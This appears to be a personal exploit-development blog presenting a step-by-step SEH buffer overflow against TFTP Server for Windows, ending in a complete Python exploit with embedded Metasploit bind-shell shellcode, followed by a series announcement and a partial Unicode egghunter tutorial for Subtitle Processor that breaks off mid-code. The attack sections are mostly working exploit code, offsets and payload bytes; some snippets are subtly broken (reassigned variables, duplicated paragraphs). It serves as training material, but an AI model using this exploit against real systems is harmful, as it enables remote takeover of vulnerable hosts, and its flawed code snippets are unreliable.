Exploit Fortnights #1: TFTP Server Filename Overflow

Exploit Fortnights #1: TFTP Server Filename Overflow

Welcome to Exploit Fortnights issue #1. Today I'm going to do an exploit on TFTP Server for Windows which has been exploited numerous times in the past and has many many holes in it. The specific hole that we will be looking at today is a vulnerability when supplying an overly long filename to the WRQ command (more can be found at http://www.metasploit.com/modules/exploit/windows/tftp/tftpserver_wrq_bof). Due to a problem in the way that the program handles this filename, we can achieve arbitrary code execution on the victim machine.

The code that we will be basing this exploit off of can be found on exploit-db.com at http://www.exploit-db.com/exploits/5314/

For those of you wanting the vid.... well here you go... (sorry that the sound keeps on going on....not sure why it does this):

Anyway as before, here is what you will need for this tutorial.

Required

• Some version of Windows (I use Windows XP SP3)
• Knowledge of SEH exploits.
• Immunity Debugger installed on the Windows machine
• Mona.py installed within Immunity Debugger
• The ability to stay awake.
• Thats really it....no joke....
• Oh....and the software I mentioned above of course ;)

Steps (taken from my notes)

1. Look up UDP python sockets 
2. Make exploit with 2000 "A"
3. Replace "A" s with metasploit pattern
4. Found that EDX is overwritten 1522 bytes in
5. Found ECX is overwritten 1526 bytes in
6. Found NSEH is overwritten 1492 bytes in
7. Configure Immunity Debugger to start the program with the -v argument (so it would start properly)
8. Restructure the exploit to overwrite NSEH and SEH with specific values to check offsets and confirm that these are correct.
9. Use 0x7C80DFEC as a POP POP RET for NSEH
10. Find this doesn't work
11. Replace this with 00410EC0 from TFTPServ, find this works.
12. Replace SEH with \xeb\x80\x90\x90. This will effectively jump us back 7E or 126 bytes back.
13. Manually make some instructions to set up our jump back again to the beginning of our shellcode by doing *
14. Set up a NOP padding for the shellcode (even though we land directly at the beginning of the shellcode exactly I still like a NOP buffer just in case something out of the ordinary happens)
15. Make our shellcode and put it into our exploit.

Well thats roughly how it SHOULD work. But there is one other thing you will see further along that will prevent this from working normally. See if you can't figure it out ;)

Our Base Exploit

import socket
host = "127.0.0.1"
port = 69
filename = "\x41" * 2000
mode = "netascii"
data = "\x00\x02" + filename  + "\0" + mode + "\0"
handler = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
handler.sendto(data, (host,port))

Some things to note here are that we use the SOCK_DGRAM for UDP mode in this case. Also we use handler.sendto rather than handler.send. Again these are differences in using UDP in Python compared to TCP.

\0/ Yay networking. Now that that's sorted out lets try testing things out.

Our first test

First though we need to make sure we load the program and specify the -v option as a parameter or else the program won't run correctly.

And now we have our server started:

Lets send the exploit:

Ok so we get an access violation when writing to 0x00230000. Looking at our registers we notice the following:

• ECX appears to be overwritten with some of our A's.
• The stack appears to point to multiple different sections within our A's.

More importantly if we look at the SEH chain we see the following:

So we also seem to have overwritten our SEH handler.

Pattern Time!

Next we do a !mona pc 2000 to generate our metasploit pattern of 2000 characters and replace our A's in the original exploit with this:

And the resulting crash:

As show in the previous tutorial we then try to find the offsets. We do this by running:

!mona findmsp

And the results should be similar to the following below:

 The from this the important things that we gather are:

• NSEH is overwritten 1492 bytes in.
• EDX is overwritten 1522 bytes in.
• ECX is overwritten 1526 bytes in.

Restructuring the Exploit

After taking all this into account we make a new exploit as follows:

import socket 

host = "127.0.0.1"
port = 69 

filename = "A" * 1492
filename += "B" * 4 # NSEH overwrite
filename += "C" * 4 # SEH overwrite 

mode = "netascii" 

data = "\x00\x02" + filename + "\0" + mode + "\0" 

handler = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
handler.sendto(data, (host,port))

We then send the new exploit and get the following in the SEH chain.

If we right click on the first entry and select "Follow Address in Stack" we see the following:

So we have successfully controlled the NSEH and SEH :). We are on our way to making a working exploit.

Configuring SEH with the Right Information

Ok so next we need to find out the right POP POP RET to use for our SEH exploit. We shall use mona for this again and execute the following:

!mona seh

You should get something like the following:

You can also open the SEH.txt file (Most likely under C:\Program Files\Immunity Inc\ Immunity Debugger\seh.txt)

You can use any of the ones listed that start with a 00. I chose to use the first one listed out of simplicity.

Replace the SEH value with the new one and exploit once again:

 Yay :) We got the SEH handler under control now. Lets check this:

Yep that looks right. So where does that take us then?

Oh great balls of fire....that doesn't look nice. It appears that the B's that we are still using for our exploit as the NSEH overwrite are where the program is pointing to now. Now this wouldn't normally be a problem but as you can see in the screenshot above we can't jump to anything below as that would run into a new segment of memory the program doesn't have access to.

The First Stage...How do I Jump Backwards again???

So after playing around I found that we still have tons of space above where we are now. To verify this double click on the first B that we have, where the program is currently pointing. You should see an arrow appear:

Scroll up till you see the beginning of your \x41's.

We see that it is 5D4 bytes till the beginning of our \x41's or 1492 bytes. We decide to do a jump backwards to the beginning of our buffer. The farthest backwards jump we can do is \xeb\x80\x90\x90.

So now we will have it so that NSEH looks like this:

nseh = "\xeb\x80\x90\x90"

Except just put that in for the part in the code where NSEH is overwritten (well that minus the nseh = part).

Testing it Out Again

Ok with those changes our code looks like this:

import socket 

host = "127.0.0.1"
port = 69 

filename = "A" * 1492
filename += "B" * 4 # NSEH overwrite
filename += "\x05\x96\x40" # SEH overwrite 

mode = "netascii" 

data = "\x00\x02" + filename + "\0" + mode + "\0"

handler = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
handler.sendto(data, (host,port))

Lets test that out:

So we can see we go back 7E or 126 bytes from where we execute our jump (makes sense as we jump 80 bytes but 2 of those are taken up by the actual jump instruction which takes up 2 bytes. Other 2 bytes of the 4 byte overwrite are taken up by our \x90 NOP instructions)

Our new exploit taking this in account is as follows:

import socket 

host = "127.0.0.1"
port = 69 

filename = "A" * (1492-126)
filename += "\xCC" * 126
filename += "\xeb\x80\x90\x90" # NSEH overwrite
filename += "\x05\x96\x40" # SEH overwrite 

mode = "netascii" 

data = "\x00\x02" + filename + "\0" + mode + "\0" 

handler = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
handler.sendto(data, (host,port))

Lets check that:

Aligning EBP

Ok now notice that the register EBP points near to our buffer. Right click on EBP, click "Follow in Stack" and then double click on the first entry. Scroll down a bit and you should notice the following:

We can increase EBP to get it to point to the beginning of our buffer of \x41's by doing the following:

By doing \x83\xC5\x50 15 times over to increase EBP to the right and then doing \xFF\xE5 to execute a JMP EBP, we actually jump directly to the beginning of the buffer.

Actually in this picture i would like to point out a few things:

• If you look in the register menu you can see EBP pointing to our string of A's.
• You can see these A's in the bottom left (btw this is not shown but the next line up is the name of the program so this is literally the first line of A's that we sent.

Ok so lets try that now.

:) Seems like we are nearly there. And we are...minus one odd little thing.

The Odd Byte Error

If you look in the above screenshot you will see that we have our long string of A's on the left hand side. But if you have been paying attention (or just weren't listening intently to me :P ) you will see that the string of A's are broken up on the line with offset E0 on the left hand side.

We see that our A's get turned into 0's at this location. Looking at the rest of our buffer we see that this is the only location that this happens.

Ok so lets see how far this is from the beginning from beginning of the beginning of buffer so we can adjust for this.

Well atm the arrow points to the beginning of our buffer and counting along the line we see it is the 8th byte in the line. Considering the first byte is E0, we can say that E7 is the first NULL byte.

E7 in decimal is 231 bytes. So after 230 bytes we get a 4 byte space of nulls. So if we prepend 230 bytes of junk before our set of As we should be able to deal with this problem.

Well thats not entirely right. It seems I was two bytes off from the start of the 0's. Lets up our \x90's by 6 (2 for the 2 bytes and then another 4 to cover the null byte space). So we will use 236 bytes of junk instead.

import socket

host = "127.0.0.1"

port = 69

filename = "\x90" * 236

filename += "A" * (1492-126-236) # 126 for the space that we jump to. 236 for the space up to and including the 4 byte null space.

filename += "\x83\xC5\x50" * 15

filename += "\xFF\xE5"

filename += "\xCC" * ( 126 - ((15 * 3) + 2) )

filename += "\xeb\x80\x90\x90" # NSEH overwrite

filename += "\x05\x96\x40" # SEH overwrite

mode = "netascii"

data = "\x00\x02" + filename + "\0" + mode + "\0"

handler = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

handler.sendto(data, (host,port))

Ok so now we have solved that issue. However two problems remain:

• We now have to jump to the beginning of the 41's and not the \x90's at the beginning. Thus we have to increase our EBP some more to point to the \x41's now.
• We need to generate some shellcode baby!

Adjusting Our Registers......Again

Ok so after a bit of playing around we find that we need add another 3 copies of our ADD EBP, 50 set of instructions to our exploit. I tried doing it via the regular method of looking at the offsets manually but I found I was 2 sets off:

So if we use 3 instead this is the code should get:

import socket 

host = "127.0.0.1"
port = 69 

filename = "\x90" * 236
filename += "A" * (1492-126-236) # 126 for the space that we jump to. 236 for the space up to and including the 4 byte null space.
filename += "\x83\xC5\x50" * 18
filename += "\xFF\xE5"
filename += "\xCC" * ( 126 - ((18 * 3) + 2) )
filename += "\xeb\x80\x90\x90" # NSEH overwrite
filename += "\x05\x96\x40" # SEH overwrite 

mode = "netascii" 

data = "\x00\x02" + filename + "\0" + mode + "\0" 

handler = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
handler.sendto(data, (host,port))

Shellcode Time!

We then generate some shellcode:

msfpayload windows/shell/bind_tcp R | msfencode -a x86 -b "\x00\x2f" -t c

And stick it in there and add some NOPS before it. Then adjust our amount of A's to accomidate for the nop slide and the shellcode and you should get the following:

import socket

host = "127.0.0.1"
port = 69 

nopSlide = "\x90" * 20 

# bind_tcp metasploit shellcode on port 4444
# 325 bytes
# bad chars = \x00 \x2f
shellcode = ("\xbe\xb9\xdb\x0e\x9c\xdb\xd1\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x56\x31\x72\x13\x83\xc2\x04\x03\x72\xb6\x39\xfb\x60\x20\x34"
"\x04\x99\xb0\x27\x8c\x7c\x81\x75\xea\xf5\xb3\x49\x78\x5b\x3f"
"\x21\x2c\x48\xb4\x47\xf9\x7f\x7d\xed\xdf\x4e\x7e\xc3\xdf\x1d"
"\xbc\x45\x9c\x5f\x90\xa5\x9d\xaf\xe5\xa4\xda\xd2\x05\xf4\xb3"
"\x99\xb7\xe9\xb0\xdc\x0b\x0b\x17\x6b\x33\x73\x12\xac\xc7\xc9"
"\x1d\xfd\x77\x45\x55\xe5\xfc\x01\x46\x14\xd1\x51\xba\x5f\x5e"
"\xa1\x48\x5e\xb6\xfb\xb1\x50\xf6\x50\x8c\x5c\xfb\xa9\xc8\x5b"
"\xe3\xdf\x22\x98\x9e\xe7\xf0\xe2\x44\x6d\xe5\x45\x0f\xd5\xcd"
"\x74\xdc\x80\x86\x7b\xa9\xc7\xc1\x9f\x2c\x0b\x7a\x9b\xa5\xaa"
"\xad\x2d\xfd\x88\x69\x75\xa6\xb1\x28\xd3\x09\xcd\x2b\xbb\xf6"
"\x6b\x27\x2e\xe3\x0a\x6a\x27\xc0\x20\x95\xb7\x4e\x32\xe6\x85"
"\xd1\xe8\x60\xa6\x9a\x36\x76\xc9\xb1\x8f\xe8\x34\x39\xf0\x21"
"\xf3\x6d\xa0\x59\xd2\x0d\x2b\x9a\xdb\xd8\xfc\xca\x73\xb2\xbc"
"\xba\x33\x62\x55\xd1\xbb\x5d\x45\xda\x11\xe8\x41\x14\x41\xb9"
"\x25\x55\x75\x2c\xea\xd0\x93\x24\x02\xb5\x0c\xd0\xe0\xe2\x84"
"\x47\x1a\xc1\xb8\xd0\x8c\x5d\xd7\xe6\xb3\x5d\xfd\x45\x1f\xf5"
"\x96\x1d\x73\xc2\x87\x22\x5e\x62\xc1\x1b\x09\xf8\xbf\xee\xab"
"\xfd\x95\x98\x48\x6f\x72\x58\x06\x8c\x2d\x0f\x4f\x62\x24\xc5"
"\x7d\xdd\x9e\xfb\x7f\xbb\xd9\xbf\x5b\x78\xe7\x3e\x29\xc4\xc3"
"\x50\xf7\xc5\x4f\x04\xa7\x93\x19\xf2\x01\x4a\xe8\xac\xdb\x21"
"\xa2\x38\x9d\x09\x75\x3e\xa2\x47\x03\xde\x13\x3e\x52\xe1\x9c"
"\xd6\x52\x9a\xc0\x46\x9c\x71\x41\x76\xd7\xdb\xe0\x1f\xbe\x8e"
"\xb0\x7d\x41\x65\xf6\x7b\xc2\x8f\x87\x7f\xda\xfa\x82\xc4\x5c"
"\x17\xff\x55\x09\x17\xac\x56\x18") 

filename = "\x90" * 236
filename += nopSlide
filename += shellcode
filename += "A" * (1492-126-236-len(nopSlide)-len(shellcode)) # 126 for the space that we jump to. 

# 236 for the space up to and including the 4 byte null space. 

# 20 bytes for nop slide and 325 bytes for the shellcode. 

filename += "\x83\xC5\x50" * 18
filename += "\xFF\xE5"
filename += "\xCC" * ( 126 - ((18 * 3) + 2) )
filename += "\xeb\x80\x90\x90" # NSEH overwrite
filename += "\x05\x96\x40" # SEH overwrite 

mode = "netascii" 

data = "\x00\x02" + filename + "\0" + mode + "\0" 

handler = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
handler.sendto(data, (host,port))

We have successfully made our exploit!

If you connect to the port using metasploit you should get the following:

Exploit Fortnights: Introduction

Hey guys,

So I have been getting busier as of late and I have been trying to find something to do in my spare time. This has been going along pretty well but I think its about time we step it up a notch. I want to do something bigger and better than before, something that will challenge me and help me learn all the same. So with no further ado, I hereby introduce:

EXPLOIT FORNIGHTS

Yep. Its here. Its coming. Its your weekly dosage of exploit tutorials. Here's what you should know:

• This will be occurring every fortnight (2 weeks) or less

• This will be occurring every fortnight (2 weeks) or less

• There will be a video and a corresponding paper tutorial for each target that I do.

• There will be a video and a corresponding paper tutorial for each target that I do.

• The targets will be randomly selected off of exploit-db.com but will be at a level that I can explain to you guys (tbh the unicode egghunter tutorial that I did I still think I could have improved on)

• The targets will be randomly selected off of exploit-db.com but will be at a level that I can explain to you guys (tbh the unicode egghunter tutorial that I did I still think I could have improved on)

• Yes that means no ROP exploits (as cool as they may be I don't get them yet)

• Yes that means no ROP exploits (as cool as they may be I don't get them yet)

• I will be using a Windows XP SP3 host for each of these targets.

• I will be using a Windows XP SP3 host for each of these targets.

Will keep you updated on this,

tekwizz123

Unicode Exploits

Subtitle Processor 7.7.1 Exploitation: An In Depth Tutorial 

on Unicode Exploitation With Egghunters

Prerequisites

• Windows XP SP3 (latest updates can be installed if you want, doesn't really matter for this exploit)
• DEP disabled on Windows XP SP3 (this is the default setting but if you have changed it you will need to change it back)
• Immunity Debugger with mona.py installed in it.
• Immunity Debugger: http://www.immunitysec.com/products-immdbg.shtml
• mona.py: http://redmine.corelan.be/projects/mona
• Understanding of SEH exploits and some previous practice with them.
• Some understanding of egghunters and how they are used in exploits.
• A hell of a lot of patience.
• The ability to search for things you don't understand.

As always, if you don't understand something, first try and see if someone hasn't already answered the question online already. If you still can't find the answer then you can leave a comment below or email me on tekwizz123@gmail.com.

Starting Out

You can find the exploit details at http://www.exploit-db.com/exploits/17217/ along with a link to download the vulnerable program or just click this link which goes to the same thing:  http://www.exploit-db.com/wp-content/themes/exploit/applications/aaea2a1dbeaf6ca7c394acbba93461d9-SubtitleProcessor771.zip

Ok with both of those installed go through the installation and just accept the defaults. Once done load the program up in Immunity Debugger (keep holding down SHIFT + F9 until program opens):

Ok now that we have the program opened we will create a simple little test exploit for this baby shall we?

#!/usr/bin/python
junk  = "\x41" * 6000
exploit = junk
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()

Which looks like this in my VM:

Ok so now we need to compile this with the command:

python *dir to python script*\*whatever the script was named*

Then we load up the resulting subtitle.m3u file by doing:

1. Click on the File icon
2. Click on playlist
3. Navigate to the .m3u file we created.
4. Click open.

You should get something that looks like this:

You should notice 3 things (sorry these are not clearly shown in the photo, just click on that registers button on the top of the upper right panel to view the registers clearly)

1. EAX appears to be overwritten with our string that has now been transformed into Unicode.
2. ESI also seems to be subject to a similar overwrite.
3. The SEH handler has been overwritten with our string

Looking at the SEH handler:

However we notice something rather peculiar about this exploit. Instead of the SEH handler being overwritten with \x41\x41\x41\x41 as we expected, it is instead overwritten with \x00\x41\x00\x41. WTF? How the heck? Let me explain.

The Peculiarities of Unicode: Character Restriction

Basically what happens is that Unicode expands our characters out. For example:

\x41 in hex becomes \x00\x41 in Unicode.

Similarly something like \x7f will be expanded out to be \x00\x7f in Unicode.

A full list of hex to Unicode translations can be found on this website (interestingly enough I haven't found many website for this, but this seems to have all of them)

http://www.utf8-chartable.de/unicode-utf8-table.pl

Finding Offsets to NSEH and SEH

 Ok so with that out the way we now need to figure out the offsets to NSEH and SEH. To do this we will use mona.py. Simply type in the following in the small white box at the bottom of Immunity and hit enter:

!mona pc 6000

This will generate a metasploit pattern of 6000 bytes. Open the pattern.txt that it creates which will be placed in the folder that you specified on start up. If you don't know what that is you can change it with:

!mona config -set workingfolder C:\logs

(Thanks for corelanc0d3r for providing this information on the front page of his download page)


Ok open it up and copy over the string into the exploit code. It should look like this:

 The mona.py pattern creation.

 How the exploit should now look.

Ok so now we need to generate the .m3u file again and load it up in the program. When the program crashes with the new file it should look like this:

Now what we could do is do pattern_create to find out the offset but I prefer to use mona.py and is handy feature called "findmsp". To do this type in:

!mona findmsp

If we look at the result we should see a bunch of output. We are only interested in this line though:

This tells us that the NSEH handler was overwritten 4076 bytes in. Now in actuality the NSEH handler is written 4078 bytes in. I'm not sure what causes this and if you want you can use the following code with only 4076 bytes and see the difference but for the sake of space I will not recreate it here.

Anyway, we now change our code to this:

#!/usr/bin/python
junk  = "\x41" * 4078
nseh = "B" * 2
seh = "C" * 2
exploit = junk + nseh + seh
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()

When we compile this code and run it again we should see this when we look at the SEH chain:

The SEH handler has been overwritten with our C's or \x43 in hex

We now have full control over SEH and NSEH :) But we will see this is only part of the exploit done.

Dealing with Hell: Getting correct values into NSEH and SEH

And now we come to the part that is probably the single section of this exploit that makes it so dang difficult. What we need to do next is so confusing that even I do not fully understand it myself. However I will try to do my best to explain it:

Basically because of the Unicode expansion of bytes, we cannot simply replace NSEH with a 4 byte jump as per what we normally do to get out of the little trap zone of death. Oh no. In Unicode  we must walk through little pointy zone of death and hope little pointy zone of death doesn't decide to kill us along the way. 

Essentially, because we can't do the jump we must fill NSEH will 2 bytes that when expanded will be transformed into harmless executable instructions in memory. This is harder than it seems. But its not the end of the pain.

To make things even more difficult we must also fill SEH with an address that points to a POP POP RET or a similar instruction (read up on SEH exploits if you don't get this). However not only must this address point to this, but the parts that make up the address must be executable when expanded in memory.

So...yeah. This is what makes this exploit general all around hell (mostly...more pain to come later).

To generate Unicode compatible pointers for overwriting SEH we do the following once the program has fully loaded:

!mona seh -cp unicode

This will output a file called seh.txt with all of the pointers. Which in my case was 50 pointers. *sigh* And only one of them actually works from what I have found. *sigh*

Anyway this is the pointer you need to overwrite SEH with:

0x004600eb 

We will change our exploit to accommodate this:

#!/usr/bin/python
junk  = "\x41" * 4078
nseh = "B" * 2
seh = "\xeb\x46"
exploit = junk + nseh + seh
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()

I have looked through that list of 50 pointers and found that this one occurs about 25-30 pointers into the list. So basically you would of had to test 30 invalid pointers to find one that would work. This is where the manual work comes into play big time for this exploit.

As for NSEH its relatively simple. I can't explain how they came up with this (cause I sure as hell didn't think of it first) but it works wonderfully and actually makes perfect sense.

NSEH should be:

\x61\x62

Why? Very good question. Basically in memory this expands out to this:

61                 POPAD

006200         ADD BYTE PTR DS:[EDX], AH

Basically the first instruction will "pop all double-word (32-bit) registers from the stack" (definition taken from https://en.wikipedia.org/wiki/X86_instruction_listings)

This helps to set all values in the registers to valid addresses so that when do manipulation on them later on they don't point to invalid addresses such as 0x0000000000.

That Second Instruction: More Than Meets the Eye

The second instruction is really what is important to us though. For the purposes of our exploit this simply acts as a NOP instruction. What it does is take the higher two bytes of AX and place them into the address pointed to by EDX. This does nothing in our exploit as EDX does not point to any part of memory that we care about and is thus this can be used as a NOP between instructions.

This will come in handy in a sec. For now lets just make the changes to our exploit and double check that it works fine:

#!/usr/bin/python
junk  = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
junk2 = "\x90" * (6000 - len(nseh+seh))
exploit = junk + nseh + seh + junk2
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()

* Note: I'm not sure why the SEH part has to be done 2 times over. Something I'm still looking into. *

If all works fine we should see the following:

We can see that our SEH handler has been correctly overwritten. We now place a breakpoint on this address:

And then if we continue we see this:

YAY :) So we look like we are getting there :)

Adjusting Them Registerrrrs

However we see a small problem:

We only have 38F bytes or 911/2 = 455.5 bytes for our shellcode.

Now you may think this is not a problem, however consider the following:

1. We still need to encode our payload into Unicode. The additional instructions that will decode our payload from Unicode into the proper instructions that we want will take up extra space.
2. In order for this Unicode decoder to work (we will be using alpha2) we need to point a register to the beginning of our shellcode. Atm most of our registers point to various locations within our buffer but not to the beginning of the buffer itself. However EBX seems to point to the beginning so we can use this. (Note if it didn't we would have to manually adjust it. You can see how to do this at http://fuzzysecurity.com/tutorials/expDev/5.html )

Which brings us to the problem of adjusting the registers so that one of our registers point to the beginning of our shellcode. We also realize that we are going to need an egghunter to find a full copy of our payload in memory that doesn't cross a memory border. This egghunter will also need to be encoded in Unicode in order for it to work properly.

adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
                         # after the \x53 instruction in memory
adjust = "\x58" # POP EAX  to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....

Well when I say the beginning of the shellcode I really mean 12 bytes into the shellcode. Again this won't be repeated here but you can check this for yourself if you want. To account for this we will add in another section to accommodate  for this:

buffer = "\x62" * 12

Our new exploit looks like this:

#!/usr/bin/python
junk  = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
                         # after the \x53 instruction in memory
adjust = "\x58" # POP EAX  to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
junk2  = "\x90" * (6000 - len(junk+nseh+seh+adjust+buffer))


exploit = junk + nseh + seh + adjust + buffer + junk2
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()

The first of these instructions will absorb the \x00 from the \xc3 instruction and turn into our NOP instruction. The next 11 will not be executed and turn into \x62\x00:

If all goes well when you execute the RETN instruction you should hit the first "\x90" and the display should look similar to mine:

Finding Bad Characters

Next we need to identify bad characters that will cause our exploit to fail. To do this do the following:

1. Download generatecodes.pl from http://exploit.co.il/wp-content/uploads/2010/05/generatecodes.txt
2. Edit the code and remove the line:
1. GetOptions('help|?|' => \$help);
3. Run the code with Perl and put the resulting output into a file.

Ok once you have done that its a simple matter of copy and pasting each line in place of the "\x90"s, then dumping the code in memory and checking that none of the bytes are corrupted or are missing/modified.

Here is the list of codes in case the code doesn't work for you:

"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e"
"\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d"
"\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c"
"\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b"
"\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a"
"\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59"
"\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68"
"\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77"
"\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86"
"\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95"
"\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4"
"\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3"
"\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2"
"\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1"
"\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe"
"\xff"

So this is what you would change your code to for the first run:

#!/usr/bin/python
junk  = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
                         # after the \x53 instruction in memory
adjust = "\x58" # POP EAX  to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
junk2  =  "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e"


exploit = junk + nseh + seh + adjust + buffer + junk2
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()

You should quickly realize that in that line \x00 is not a valid character. Remove it and try again.

#!/usr/bin/python
junk  = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
                         # after the \x53 instruction in memory
adjust = "\x58" # POP EAX  to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
junk2  =  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e"

exploit = junk + nseh + seh + adjust + buffer + junk2
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()

We see we still have a problem. Lets split the string up into two segments of equal length and try the first segment.

#!/usr/bin/python
junk  = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
                         # after the \x53 instruction in memory
adjust = "\x58" # POP EAX  to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
junk2  =  "\x01\x02\x03\x04\x05\x06\x07\x08"

exploit = junk + nseh + seh + adjust + buffer + junk2
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()

This appears to work. All of the bytes appear in memory correctly and none of them seem to have been changed at all (note that the \x00 's that you see before and after each byte in this string are normal as the program will translate these bytes into Unicode)

Lets try with the other string again:

#!/usr/bin/python
junk  = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
                         # after the \x53 instruction in memory
adjust = "\x58" # POP EAX  to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
junk2  =  "\x09\x0a\x0b\x0c\x0d\x0e"

exploit = junk + nseh + seh + adjust + buffer + junk2
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()

Woops. Still a problem. Split it up again.

#!/usr/bin/python
junk  = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
                         # after the \x53 instruction in memory
adjust = "\x58" # POP EAX  to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
junk2  =  "\x09\x0a\x0b"
#\x0c\x0d\x0e
exploit = junk + nseh + seh + adjust + buffer + junk2
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()

Still a problem. Try again with just \x09\x0a?

#!/usr/bin/python
junk  = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
                         # after the \x53 instruction in memory
adjust = "\x58" # POP EAX  to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
junk2  =  "\x09\x0a"
#\x0b\x0c\x0d\x0e
exploit = junk + nseh + seh + adjust + buffer + junk2
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()

And would you believe it. We still have an error. Testing out \x09 and \x0a by themselves should reveal that \x0a is another bad character. Once you are done you can take \x0a and replace the other characters back in.

#!/usr/bin/python
junk  = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
                         # after the \x53 instruction in memory
adjust = "\x58" # POP EAX  to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
